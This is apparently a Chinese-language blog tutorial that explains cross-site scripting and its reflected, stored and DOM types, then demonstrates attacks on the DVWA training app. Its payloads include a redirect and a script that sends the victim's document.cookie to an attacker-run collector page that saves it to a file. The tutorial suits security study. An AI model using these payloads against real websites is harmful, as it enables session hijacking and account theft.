常見的Web漏洞——XSS

XSS簡介

XSS是跨站腳本攻擊(Cross Site Scripting)的簡寫,爲了不與層疊樣式表混淆而改寫的。此漏洞也是網站存在相當多的漏洞,僅次於SQL注入,攻擊者可以使用XSS來繞過訪問控制,如同源策略。利用XSS可以竊取賬號,網頁掛馬,發動拒絕服務攻擊,發送垃圾郵件等等。

XSS原理及分類

XSS形成的原因與SQL注入類似,也是由於程序員在開發過程中沒有對用戶提交的惡意數據做過濾,轉義而直接輸出到頁面,導致用戶可以利用此漏洞執行JavaScript,HTML等代碼,和SQL注入不同的是XSS不一定要和數據庫交互。XSS沒有單一的、標準的分類,一般可以分爲非持久型(反射型)、持久型(存儲型)。通常人們也增加了第三種——基於DOM的XSS。反射型XSS指用戶提交的數據沒有存儲在數據庫中而是直接輸出到頁面,不具有存儲性,一次提交只能執行一次。存儲型XSS指用戶提交的數據存儲在了數據庫,用戶每一次訪問都會觸發XSS,一次提交可以一直執行。DOM型XSS指用戶可以修改瀏覽器中的DOM節點並顯示在瀏覽器上,從而產生XSS。XSS的分類並不那麼重要,如果非要死磕到底,這裏有一篇個人覺得很不錯的博客那些年我們看不懂的XSS,看不懂沒關係,以後再看。

XSS利用方法

使用DVWA來學習XSS的利用方法,登錄DVWA,設置安全等級爲low,然後先來學習一下反射型XSS的利用方法,點擊XSS(Reflected),如圖,輸入什麼就會顯示Hello+輸入的內容

點擊View Source查看源代碼,如圖

可見,源碼中沒有對用戶提交的數據做任何處理,只是簡單判斷如果提交的數據是否存在且不爲空,就輸出Hello+提交的內容,利用此漏洞提交一個JavaScript彈窗代碼:<script>alert('反射型XSS')</script>,和SQL注入類似,可以通過表單提交,也可以通過URL提交,不過通過URL提交有時需要進行url編碼,如圖通過表單提交的結果

構造獲取cookie的JavaScript代碼:<script>alert(document.cookie)</script>,如圖

構造頁面跳轉JavaScript代碼:<script>location='https://www.baidu.com'</script>,提交即可自動跳轉,如圖

假設這臺主機同時也是攻擊者的遠程主機,在wamp64目錄下的www目錄下創建文件夾test,在test下新建cookie.php,寫入如圖所示代碼


此時,構造獲取cookie併發送到遠程主機的JavaScript代碼:<script>document.location='http://127.0.0.1/test/cookie.php?cookie='+document.cookie</script>,提交之後就會獲取cookie併發送到遠程主機,以GET方式傳遞給變量cookie,遠程主機就會執行上圖代碼,創建一個cookie.txt的文件,並寫入cookie,如圖


提交之後會把cookie提交到遠程主機,打開test目錄會發現多了一個cookie.txt文件,打開可以看到cookie

XSS有個明顯的缺點就是太容易被發現了,即使使用url編碼把可疑字符編碼也和容易讓人產生懷疑


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章